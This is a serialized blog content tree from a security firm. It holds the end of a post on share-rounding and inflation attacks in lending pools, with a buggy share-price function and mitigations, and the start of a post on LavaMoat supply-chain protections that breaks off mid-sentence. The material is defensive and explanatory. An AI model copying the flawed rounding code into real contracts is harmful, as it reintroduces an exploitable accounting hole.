private\n",{"type":25,"tag":216,"props":50457,"children":50458},{"class":6916,"line":7238},[50459],{"type":25,"tag":216,"props":50460,"children":50461},{"style":6930},[50462],{"type":31,"value":50463},"    pure\n",{"type":25,"tag":216,"props":50465,"children":50466},{"class":6916,"line":7251},[50467,50472,50476,50480],{"type":25,"tag":216,"props":50468,"children":50469},{"style":6967},[50470],{"type":31,"value":50471},"    returns",{"type":25,"tag":216,"props":50473,"children":50474},{"style":6958},[50475],{"type":31,"value":7010},{"type":25,"tag":216,"props":50477,"children":50478},{"style":7369},[50479],{"type":31,"value":50130},{"type":25,"tag":216,"props":50481,"children":50482},{"style":6958},[50483],{"type":31,"value":7101},{"type":25,"tag":216,"props":50485,"children":50486},{"class":6916,"line":7269},[50487],{"type":25,"tag":216,"props":50488,"children":50489},{"style":6958},[50490],{"type":31,"value":14830},{"type":25,"tag":216,"props":50492,"children":50493},{"class":6916,"line":7290},[50494,50498,50503,50507],{"type":25,"tag":216,"props":50495,"children":50496},{"style":6967},[50497],{"type":31,"value":20941},{"type":25,"tag":216,"props":50499,"children":50500},{"style":6958},[50501],{"type":31,"value":50502}," _maxSharePrice ",{"type":25,"tag":216,"props":50504,"children":50505},{"style":6947},[50506],{"type":31,"value":12522},{"type":25,"tag":216,"props":50508,"children":50509},{"style":6930},[50510],{"type":31,"value":50511}," true\n",{"type":25,"tag":216,"props":50513,"children":50514},{"class":6916,"line":7299},[50515,50520,50525,50529],{"type":25,"tag":216,"props":50516,"children":50517},{"style":6947},[50518],{"type":31,"value":50519},"        ?",{"type":25,"tag":216,"props":50521,"children":50522},{"style":6958},[50523],{"type":31,"value":50524}," _product % _pseudo ",{"type":25,"tag":216,"props":50526,"children":50527},{"style":6947},[50528],{"type":31,"value":12522},{"type":25,"tag":216,"props":50530,"children":50531},{"style":6983},[50532],{"type":31,"value":28230},{"type":25,"tag":216,"props":50534,"children":50535},{"class":6916,"line":7551},[50536,50541,50546,50550],{"type":25,"tag":216,"props":50537,"children":50538},{"style":6947},[50539],{"type":31,"value":50540},"            ?",{"type":25,"tag":216,"props":50542,"children":50543},{"style":6958},[50544],{"type":31,"value":50545}," _product ",{"type":25,"tag":216,"props":50547,"children":50548},{"style":6947},[50549],{"type":31,"value":5749},{"type":25,"tag":216,"props":50551,"children":50552},{"style":6958},[50553],{"type":31,"value":50554}," _pseudo\n",{"type":25,"tag":216,"props":50556,"children":50557},{"class":6916,"line":7568},[50558,50563,50567,50571,50576,50580],{"type":25,"tag":216,"props":50559,"children":50560},{"style":6947},[50561],{"type":31,"value":50562},"            :",{"type":25,"tag":216,"props":50564,"children":50565},{"style":6958},[50566],{"type":31,"value":50545},{"type":25,"tag":216,"props":50568,"children":50569},{"style":6947},[50570],{"type":31,"value":5749},{"type":25,"tag":216,"props":50572,"children":50573},{"style":6958},[50574],{"type":31,"value":50575}," _pseudo ",{"type":25,"tag":216,"props":50577,"children":50578},{"style":6947},[50579],{"type":31,"value":3533},{"type":25,"tag":216,"props":50581,"children":50582},{"style":6983},[50583],{"type":31,"value":23396},{"type":25,"tag":216,"props":50585,"children":50586},{"class":6916,"line":7585},[50587,50592,50596,50600],{"type":25,"tag":216,"props":50588,"children":50589},{"style":6947},[50590],{"type":31,"value":50591},"        :",{"type":25,"tag":216,"props":50593,"children":50594},{"style":6958},[50595],{"type":31,"value":50545},{"type":25,"tag":216,"props":50597,"children":50598},{"style":6947},[50599],{"type":31,"value":5749},{"type":25,"tag":216,"props":50601,"children":50602},{"style":6958},[50603],{"type":31,"value":50604}," _pseudo;\n",{"type":25,"tag":216,"props":50606,"children":50607},{"class":6916,"line":7598},[50608],{"type":25,"tag":216,"props":50609,"children":50610},{"style":6958},[50611],{"type":31,"value":7868},{"type":25,"tag":38,"props":50613,"children":50614},{},[50615,50620],{"type":25,"tag":64,"props":50616,"children":50617},{},[50618],{"type":31,"value":50619},"Regardless of which way the share rounding occurs, this is a bug",{"type":31,"value":50621},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":25,"tag":38,"props":50623,"children":50624},{},[50625],{"type":31,"value":50626},"This is a really tricky invariant to reason about!",{"type":25,"tag":26,"props":50628,"children":50630},{"id":50629},"root-cause",[50631],{"type":31,"value":50632},"Root Cause",{"type":25,"tag":38,"props":50634,"children":50635},{},[50636],{"type":31,"value":50637},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":25,"tag":38,"props":50639,"children":50640},{},[50641],{"type":31,"value":50642},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":25,"tag":206,"props":50644,"children":50646},{"className":8417,"code":50645,"language":8416,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[50647],{"type":25,"tag":82,"props":50648,"children":50649},{"__ignoreMap":7},[50650],{"type":25,"tag":216,"props":50651,"children":50652},{"class":6916,"line":6917},[50653,50658,50662,50667,50671],{"type":25,"tag":216,"props":50654,"children":50655},{"style":6958},[50656],{"type":31,"value":50657},"totalDepositShares ",{"type":25,"tag":216,"props":50659,"children":50660},{"style":6947},[50661],{"type":31,"value":8513},{"type":25,"tag":216,"props":50663,"children":50664},{"style":6958},[50665],{"type":31,"value":50666}," _amount ",{"type":25,"tag":216,"props":50668,"children":50669},{"style":6947},[50670],{"type":31,"value":5749},{"type":25,"tag":216,"props":50672,"children":50673},{"style":6958},[50674],{"type":31,"value":50675}," pseudoTotalPool\n",{"type":25,"tag":38,"props":50677,"children":50678},{},[50679],{"type":31,"value":50680},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":25,"tag":38,"props":50682,"children":50683},{},[50684,50686,50690],{"type":31,"value":50685},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":25,"tag":64,"props":50687,"children":50688},{},[50689],{"type":31,"value":23871},{"type":31,"value":50691}," integer division?",{"type":25,"tag":26,"props":50693,"children":50695},{"id":50694},"mitigations",[50696],{"type":31,"value":50697},"Mitigations",{"type":25,"tag":38,"props":50699,"children":50700},{},[50701],{"type":31,"value":50702},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":25,"tag":38,"props":50704,"children":50705},{},[50706,50708,50715],{"type":31,"value":50707},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":25,"tag":162,"props":50709,"children":50712},{"href":50710,"rel":50711},"https://twitter.com/danielvf/status/1746306320553152615",[166],[50713],{"type":31,"value":50714},"@danielvf notes",{"type":31,"value":50716},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":25,"tag":206,"props":50718,"children":50720},{"className":8417,"code":50719,"language":8416,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[50721],{"type":25,"tag":82,"props":50722,"children":50723},{"__ignoreMap":7},[50724,50748,50795,50829],{"type":25,"tag":216,"props":50725,"children":50726},{"class":6916,"line":6917},[50727,50731,50736,50740,50744],{"type":25,"tag":216,"props":50728,"children":50729},{"style":6967},[50730],{"type":31,"value":19531},{"type":25,"tag":216,"props":50732,"children":50733},{"style":6958},[50734],{"type":31,"value":50735}," (_totalSupply ",{"type":25,"tag":216,"props":50737,"children":50738},{"style":6947},[50739],{"type":31,"value":12522},{"type":25,"tag":216,"props":50741,"children":50742},{"style":6983},[50743],{"type":31,"value":6986},{"type":25,"tag":216,"props":50745,"children":50746},{"style":6958},[50747],{"type":31,"value":18755},{"type":25,"tag":216,"props":50749,"children":50750},{"class":6916,"line":6763},[50751,50756,50760,50765,50770,50775,50780,50785,50790],{"type":25,"tag":216,"props":50752,"children":50753},{"style":6958},[50754],{"type":31,"value":50755},"    liquidity ",{"type":25,"tag":216,"props":50757,"children":50758},{"style":6947},[50759],{"type":31,"value":266},{"type":25,"tag":216,"props":50761,"children":50762},{"style":6958},[50763],{"type":31,"value":50764}," Math.",{"type":25,"tag":216,"props":50766,"children":50767},{"style":7041},[50768],{"type":31,"value":50769},"sqrt",{"type":25,"tag":216,"props":50771,"children":50772},{"style":6958},[50773],{"type":31,"value":50774},"(amount0.",{"type":25,"tag":216,"props":50776,"children":50777},{"style":7041},[50778],{"type":31,"value":50779},"mul",{"type":25,"tag":216,"props":50781,"children":50782},{"style":6958},[50783],{"type":31,"value":50784},"(amount1)).",{"type":25,"tag":216,"props":50786,"children":50787},{"style":7041},[50788],{"type":31,"value":50789},"sub",{"type":25,"tag":216,"props":50791,"children":50792},{"style":6958},[50793],{"type":31,"value":50794},"(MINIMUM_LIQUIDITY);\n",{"type":25,"tag":216,"props":50796,"children":50797},{"class":6916,"line":6772},[50798,50803,50807,50811,50815,50819,50824],{"type":25,"tag":216,"props":50799,"children":50800},{"style":7041},[50801],{"type":31,"value":50802},"   _mint",{"type":25,"tag":216,"props":50804,"children":50805},{"style":6958},[50806],{"type":31,"value":1844},{"type":25,"tag":216,"props":50808,"children":50809},{"style":7369},[50810],{"type":31,"value":36597},{"type":25,"tag":216,"props":50812,"children":50813},{"style":6958},[50814],{"type":31,"value":1844},{"type":25,"tag":216,"props":50816,"children":50817},{"style":6983},[50818],{"type":31,"value":1876},{"type":25,"tag":216,"props":50820,"children":50821},{"style":6958},[50822],{"type":31,"value":50823},"), MINIMUM_LIQUIDITY); ",{"type":25,"tag":216,"props":50825,"children":50826},{"style":6921},[50827],{"type":31,"value":50828},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":25,"tag":216,"props":50830,"children":50831},{"class":6916,"line":6999},[50832,50837,50841],{"type":25,"tag":216,"props":50833,"children":50834},{"style":6958},[50835],{"type":31,"value":50836},"} ",{"type":25,"tag":216,"props":50838,"children":50839},{"style":6967},[50840],{"type":31,"value":7262},{"type":25,"tag":216,"props":50842,"children":50843},{"style":6958},[50844],{"type":31,"value":7235},{"type":25,"tag":38,"props":50846,"children":50847},{},[50848,50850,50857],{"type":31,"value":50849},"Alternatively, ",{"type":25,"tag":162,"props":50851,"children":50854},{"href":50852,"rel":50853},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[166],[50855],{"type":31,"value":50856},"storing the conversion rate separately",{"type":31,"value":50858}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":25,"tag":206,"props":50860,"children":50862},{"className":8417,"code":50861,"language":8416,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[50863],{"type":25,"tag":82,"props":50864,"children":50865},{"__ignoreMap":7},[50866,50901],{"type":25,"tag":216,"props":50867,"children":50868},{"class":6916,"line":6917},[50869,50874,50878,50883,50887,50892,50896],{"type":25,"tag":216,"props":50870,"children":50871},{"style":6958},[50872],{"type":31,"value":50873},"accrualIndices.borrowed ",{"type":25,"tag":216,"props":50875,"children":50876},{"style":6947},[50877],{"type":31,"value":266},{"type":25,"tag":216,"props":50879,"children":50880},{"style":6958},[50881],{"type":31,"value":50882}," accrualIndices.borrowed ",{"type":25,"tag":216,"props":50884,"children":50885},{"style":6947},[50886],{"type":31,"value":8513},{"type":25,"tag":216,"props":50888,"children":50889},{"style":6958},[50890],{"type":31,"value":50891}," borrowInterestFactor ",{"type":25,"tag":216,"props":50893,"children":50894},{"style":6947},[50895],{"type":31,"value":5749},{"type":25,"tag":216,"props":50897,"children":50898},{"style":6958},[50899],{"type":31,"value":50900}," precision;\n",{"type":25,"tag":216,"props":50902,"children":50903},{"class":6916,"line":6763},[50904,50909,50913,50918,50922,50927,50931],{"type":25,"tag":216,"props":50905,"children":50906},{"style":6958},[50907],{"type":31,"value":50908},"accrualIndices.deposited ",{"type":25,"tag":216,"props":50910,"children":50911},{"style":6947},[50912],{"type":31,"value":266},{"type":25,"tag":216,"props":50914,"children":50915},{"style":6958},[50916],{"type":31,"value":50917}," accrualIndices.deposited ",{"type":25,"tag":216,"props":50919,"children":50920},{"style":6947},[50921],{"type":31,"value":8513},{"type":25,"tag":216,"props":50923,"children":50924},{"style":6958},[50925],{"type":31,"value":50926}," depositInterestFactor ",{"type":25,"tag":216,"props":50928,"children":50929},{"style":6947},[50930],{"type":31,"value":5749},{"type":25,"tag":216,"props":50932,"children":50933},{"style":6958},[50934],{"type":31,"value":50900},{"type":25,"tag":38,"props":50936,"children":50937},{},[50938],{"type":31,"value":50939},"We also want to note some general takeaways:",{"type":25,"tag":38,"props":50941,"children":50942},{},[50943,50945,50950],{"type":31,"value":50944},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":25,"tag":64,"props":50946,"children":50947},{},[50948],{"type":31,"value":50949},"apply the state changes and check the invariant",{"type":31,"value":179},{"type":25,"tag":38,"props":50952,"children":50953},{},[50954],{"type":31,"value":50955},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":25,"tag":38,"props":50957,"children":50958},{},[50959],{"type":31,"value":50960},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":25,"tag":26,"props":50962,"children":50963},{"id":32886},[50964],{"type":31,"value":22901},{"type":25,"tag":38,"props":50966,"children":50967},{},[50968],{"type":31,"value":50969},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":25,"tag":38,"props":50971,"children":50972},{},[50973],{"type":31,"value":50974},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":25,"tag":9310,"props":50976,"children":50977},{},[50978],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":50980},[50981,50982,50983,50987,50988,50989],{"id":32969,"depth":6763,"text":32972},{"id":49903,"depth":6763,"text":49906},{"id":50022,"depth":6763,"text":50025,"children":50984},[50985,50986],{"id":50033,"depth":6772,"text":50036},{"id":50071,"depth":6772,"text":50074},{"id":50629,"depth":6763,"text":50632},{"id":50694,"depth":6763,"text":50697},{"id":32886,"depth":6763,"text":22901},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":50994,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":50995,"description":50996,"author":50997,"image":50998,"date":51000,"isFeatured":16,"onBlogPage":16,"body":51001,"_type":6792,"_id":54480,"_source":6794,"_file":54481,"_stem":54482,"_extension":6797},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[35157,35156],{"src":50999},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":22,"children":51002,"toc":54459},[51003,51007,51028,51033,51037,51042,51081,51087,51102,51120,51125,51130,51135,51148,51455,51481,51494,51499,51504,51518,51523,51536,51550,51781,51802,51837,51843,51848,51853,52067,52088,52094,52106,52196,52218,52254,52262,52280,52537,52563,52569,52583,52781,52800,53207,53220,53226,53245,53338,53343,53349,53362,53375,53461,53467,53479,53563,53575,53588,53594,53599,53613,53940,53945,53950,53956,53982,54037,54057,54110,54116,54121,54140,54151,54345,54351,54374,54380,54385,54398,54403,54408,54412,54417,54425,54455],{"type":25,"tag":26,"props":51004,"children":51005},{"id":22910},[51006],{"type":31,"value":22913},{"type":25,"tag":38,"props":51008,"children":51009},{},[51010,51017,51019,51026],{"type":25,"tag":162,"props":51011,"children":51014},{"href":51012,"rel":51013},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[166],[51015],{"type":31,"value":51016},"Supply chain",{"type":31,"value":51018}," attacks are becoming ",{"type":25,"tag":162,"props":51020,"children":51023},{"href":51021,"rel":51022},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[166],[51024],{"type":31,"value":51025},"increasingly popular in Web3",{"type":31,"value":51027},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":25,"tag":38,"props":51029,"children":51030},{},[51031],{"type":31,"value":51032},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":25,"tag":607,"props":51034,"children":51035},{"id":32969},[51036],{"type":31,"value":32972},{"type":25,"tag":38,"props":51038,"children":51039},{},[51040],{"type":31,"value":51041},"It is important to note that there are three different versions of LavaMoat:",{"type":25,"tag":6705,"props":51043,"children":51044},{},[51045,51057,51069],{"type":25,"tag":2037,"props":51046,"children":51047},{},[51048,51055],{"type":25,"tag":162,"props":51049,"children":51052},{"href":51050,"rel":51051},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[166],[51053],{"type":31,"value":51054},"Lavamoat Browserify",{"type":31,"value":51056}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":25,"tag":2037,"props":51058,"children":51059},{},[51060,51067],{"type":25,"tag":162,"props":51061,"children":51064},{"href":51062,"rel":51063},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[166],[51065],{"type":31,"value":51066},"NodeJS Lavamoat",{"type":31,"value":51068}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":25,"tag":2037,"props":51070,"children":51071},{},[51072,51079],{"type":25,"tag":162,"props":51073,"children":51076},{"href":51074,"rel":51075},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[166],[51077],{"type":31,"value":51078},"Lavamoat allow-scripts",{"type":31,"value":51080}," are used to prevent malicious code execution on lifecycle scripts.",{"type":25,"tag":607,"props":51082,"children":51084},{"id":51083},"lavamoats-security-features",[51085],{"type":31,"value":51086},"Lavamoat's Security Features",{"type":25,"tag":38,"props":51088,"children":51089},{},[51090,51092,51100],{"type":31,"value":51091},"The three most important features of Lavamoat",{"type":25,"tag":19425,"props":51093,"children":51094},{},[51095],{"type":25,"tag":162,"props":51096,"children":51098},{"href":33578,"ariaDescribedBy":51097,"dataFootnoteRef":7,"id":33580},[19432],[51099],{"type":31,"value":184},{"type":31,"value":51101}," are:",{"type":25,"tag":2033,"props":51103,"children":51104},{},[51105,51110,51115],{"type":25,"tag":2037,"props":51106,"children":51107},{},[51108],{"type":31,"value":51109},"Policy Files",{"type":25,"tag":2037,"props":51111,"children":51112},{},[51113],{"type":31,"value":51114},"NPM Anti Hijacking",{"type":25,"tag":2037,"props":51116,"children":51117},{},[51118],{"type":31,"value":51119},"Scuttling",{"type":25,"tag":38,"props":51121,"children":51122},{},[51123],{"type":31,"value":51124},"Let's go over them one by one.",{"type":25,"tag":631,"props":51126,"children":51128},{"id":51127},"policy-files",[51129],{"type":31,"value":51109},{"type":25,"tag":38,"props":51131,"children":51132},{},[51133],{"type":31,"value":51134},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":25,"tag":38,"props":51136,"children":51137},{},[51138,51140,51147],{"type":31,"value":51139},"For example, take the ",{"type":25,"tag":162,"props":51141,"children":51144},{"href":51142,"rel":51143},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[166],[51145],{"type":31,"value":51146},"Metamask Snap policy file",{"type":31,"value":1466},{"type":25,"tag":206,"props":51149,"children":51151},{"className":35319,"code":51150,"language":35321,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[51152],{"type":25,"tag":82,"props":51153,"children":51154},{"__ignoreMap":7},[51155,51167,51182,51202,51221,51241,51261,51281,51301,51321,51342,51362,51381,51397,51404,51419,51439],{"type":25,"tag":216,"props":51156,"children":51157},{"class":6916,"line":6917},[51158,51163],{"type":25,"tag":216,"props":51159,"children":51160},{"style":8199},[51161],{"type":31,"value":51162},"   \"@metamask/providers\"",{"type":25,"tag":216,"props":51164,"children":51165},{"style":6958},[51166],{"type":31,"value":40979},{"type":25,"tag":216,"props":51168,"children":51169},{"class":6916,"line":6763},[51170,51174,51178],{"type":25,"tag":216,"props":51171,"children":51172},{"style":8199},[51173],{"type":31,"value":40987},{"type":25,"tag":216,"props":51175,"children":51176},{"style":6941},[51177],{"type":31,"value":1466},{"type":25,"tag":216,"props":51179,"children":51180},{"style":6958},[51181],{"type":31,"value":7235},{"type":25,"tag":216,"props":51183,"children":51184},{"class":6916,"line":6772},[51185,51190,51194,51198],{"type":25,"tag":216,"props":51186,"children":51187},{"style":8199},[51188],{"type":31,"value":51189},"        \"Event\"",{"type":25,"tag":216,"props":51191,"children":51192},{"style":6941},[51193],{"type":31,"value":1466},{"type":25,"tag":216,"props":51195,"children":51196},{"style":6930},[51197],{"type":31,"value":16419},{"type":25,"tag":216,"props":51199,"children":51200},{"style":6958},[51201],{"type":31,"value":7459},{"type":25,"tag":216,"props":51203,"children":51204},{"class":6916,"line":6999},[51205,51209,51213,51217],{"type":25,"tag":216,"props":51206,"children":51207},{"style":8199},[51208],{"type":31,"value":41039},{"type":25,"tag":216,"props":51210,"children":51211},{"style":6941},[51212],{"type":31,"value":1466},{"type":25,"tag":216,"props":51214,"children":51215},{"style":6930},[51216],{"type":31,"value":16419},{"type":25,"tag":216,"props":51218,"children":51219},{"style":6958},[51220],{"type":31,"value":7459},{"type":25,"tag":216,"props":51222,"children":51223},{"class":6916,"line":7104},[51224,51229,51233,51237],{"type":25,"tag":216,"props":51225,"children":51226},{"style":8199},[51227],{"type":31,"value":51228},"        \"chrome.runtime.connect\"",{"type":25,"tag":216,"props":51230,"children":51231},{"style":6941},[51232],{"type":31,"value":1466},{"type":25,"tag":216,"props":51234,"children":51235},{"style":6930},[51236],{"type":31,"value":16419},{"type":25,"tag":216,"props":51238,"children":51239},{"style":6958},[51240],{"type":31,"value":7459},{"type":25,"tag":216,"props":51242,"children":51243},{"class":6916,"line":7210},[51244,51249,51253,51257],{"type":25,"tag":216,"props":51245,"children":51246},{"style":8199},[51247],{"type":31,"value":51248},"        \"console\"",{"type":25,"tag":216,"props":51250,"children":51251},{"style":6941},[51252],{"type":31,"value":1466},{"type":25,"tag":216,"props":51254,"children":51255},{"style":6930},[51256],{"type":31,"value":16419},{"type":25,"tag":216,"props":51258,"children":51259},{"style":6958},[51260],{"type":31,"value":7459},{"type":25,"tag":216,"props":51262,"children":51263},{"class":6916,"line":7238},[51264,51269,51273,51277],{"type":25,"tag":216,"props":51265,"children":51266},{"style":8199},[51267],{"type":31,"value":51268},"        \"dispatchEvent\"",{"type":25,"tag":216,"props":51270,"children":51271},{"style":6941},[51272],{"type":31,"value":1466},{"type":25,"tag":216,"props":51274,"children":51275},{"style":6930},[51276],{"type":31,"value":16419},{"type":25,"tag":216,"props":51278,"children":51279},{"style":6958},[51280],{"type":31,"value":7459},{"type":25,"tag":216,"props":51282,"children":51283},{"class":6916,"line":7251},[51284,51289,51293,51297],{"type":25,"tag":216,"props":51285,"children":51286},{"style":8199},[51287],{"type":31,"value":51288},"        \"document.createElement\"",{"type":25,"tag":216,"props":51290,"children":51291},{"style":6941},[51292],{"type":31,"value":1466},{"type":25,"tag":216,"props":51294,"children":51295},{"style":6930},[51296],{"type":31,"value":16419},{"type":25,"tag":216,"props":51298,"children":51299},{"style":6958},[51300],{"type":31,"value":7459},{"type":25,"tag":216,"props":51302,"children":51303},{"class":6916,"line":7269},[51304,51309,51313,51317],{"type":25,"tag":216,"props":51305,"children":51306},{"style":8199},[51307],{"type":31,"value":51308},"        \"document.readyState\"",{"type":25,"tag":216,"props":51310,"children":51311},{"style":6941},[51312],{"type":31,"value":1466},{"type":25,"tag":216,"props":51314,"children":51315},{"style":6930},[51316],{"type":31,"value":16419},{"type":25,"tag":216,"props":51318,"children":51319},{"style":6958},[51320],{"type":31,"value":7459},{"type":25,"tag":216,"props":51322,"children":51323},{"class":6916,"line":7290},[51324,51329,51333,51338],{"type":25,"tag":216,"props":51325,"children":51326},{"style":8199},[51327],{"type":31,"value":51328},"        \"ethereum\"",{"type":25,"tag":216,"props":51330,"children":51331},{"style":6941},[51332],{"type":31,"value":1466},{"type":25,"tag":216,"props":51334,"children":51335},{"style":8199},[51336],{"type":31,"value":51337}," \"write\"",{"type":25,"tag":216,"props":51339,"children":51340},{"style":6958},[51341],{"type":31,"value":7459},{"type":25,"tag":216,"props":51343,"children":51344},{"class":6916,"line":7299},[51345,51350,51354,51358],{"type":25,"tag":216,"props":51346,"children":51347},{"style":8199},[51348],{"type":31,"value":51349},"        \"location.hostname\"",{"type":25,"tag":216,"props":51351,"children":51352},{"style":6941},[51353],{"type":31,"value":1466},{"type":25,"tag":216,"props":51355,"children":51356},{"style":6930},[51357],{"type":31,"value":16419},{"type":25,"tag":216,"props":51359,"children":51360},{"style":6958},[51361],{"type":31,"value":7459},{"type":25,"tag":216,"props":51363,"children":51364},{"class":6916,"line":7551},[51365,51369,51373,51377],{"type":25,"tag":216,"props":51366,"children":51367},{"style":8199},[51368],{"type":31,"value":41139},{"type":25,"tag":216,"props":51370,"children":51371},{"style":6941},[51372],{"type":31,"value":1466},{"type":25,"tag":216,"props":51374,"children":51375},{"style":6930},[51376],{"type":31,"value":16419},{"type":25,"tag":216,"props":51378,"children":51379},{"style":6958},[51380],{"type":31,"value":7459},{"type":25,"tag":216,"props":51382,"children":51383},{"class":6916,"line":7568},[51384,51389,51393],{"type":25,"tag":216,"props":51385,"children":51386},{"style":8199},[51387],{"type":31,"value":51388},"        \"web3\"",{"type":25,"tag":216,"props":51390,"children":51391},{"style":6941},[51392],{"type":31,"value":1466},{"type":25,"tag":216,"props":51394,"children":51395},{"style":6930},[51396],{"type":31,"value":50511},{"type":25,"tag":216,"props":51398,"children":51399},{"class":6916,"line":7585},[51400],{"type":25,"tag":216,"props":51401,"children":51402},{"style":6958},[51403],{"type":31,"value":41156},{"type":25,"tag":216,"props":51405,"children":51406},{"class":6916,"line":7598},[51407,51411,51415],{"type":25,"tag":216,"props":51408,"children":51409},{"style":8199},[51410],{"type":31,"value":41164},{"type":25,"tag":216,"props":51412,"children":51413},{"style":6941},[51414],{"type":31,"value":1466},{"type":25,"tag":216,"props":51416,"children":51417},{"style":6958},[51418],{"type":31,"value":7235},{"type":25,"tag":216,"props":51420,"children":51421},{"class":6916,"line":7607},[51422,51427,51431,51435],{"type":25,"tag":216,"props":51423,"children":51424},{"style":8199},[51425],{"type":31,"value":51426},"        \"@metamask/object-multiplex\"",{"type":25,"tag":216,"props":51428,"children":51429},{"style":6941},[51430],{"type":31,"value":1466},{"type":25,"tag":216,"props":51432,"children":51433},{"style":6930},[51434],{"type":31,"value":16419},{"type":25,"tag":216,"props":51436,"children":51437},{"style":6958},[51438],{"type":31,"value":7459},{"type":25,"tag":216,"props":51440,"children":51441},{"class":6916,"line":7630},[51442,51447,51451],{"type":25,"tag":216,"props":51443,"children":51444},{"style":8199},[51445],{"type":31,"value":51446},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":25,"tag":216,"props":51448,"children":51449},{"style":6941},[51450],{"type":31,"value":1466},{"type":25,"tag":216,"props":51452,"children":51453},{"style":6930},[51454],{"type":31,"value":50511},{"type":25,"tag":38,"props":51456,"children":51457},{},[51458,51459,51464,51466,51471,51473,51479],{"type":31,"value":474},{"type":25,"tag":82,"props":51460,"children":51462},{"className":51461},[],[51463],{"type":31,"value":41229},{"type":31,"value":51465}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":25,"tag":82,"props":51467,"children":51469},{"className":51468},[],[51470],{"type":31,"value":41237},{"type":31,"value":51472}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":25,"tag":82,"props":51474,"children":51476},{"className":51475},[],[51477],{"type":31,"value":51478},"@metamask/providers",{"type":31,"value":51480}," interacts with other packages.",{"type":25,"tag":38,"props":51482,"children":51483},{},[51484,51486,51492],{"type":31,"value":51485},"To enforce these policies, LavaMoat uses ",{"type":25,"tag":82,"props":51487,"children":51489},{"className":51488},[],[51490],{"type":31,"value":51491},"lavapack",{"type":31,"value":51493},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":25,"tag":631,"props":51495,"children":51497},{"id":51496},"npm-anti-hijacking",[51498],{"type":31,"value":51114},{"type":25,"tag":38,"props":51500,"children":51501},{},[51502],{"type":31,"value":51503},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a 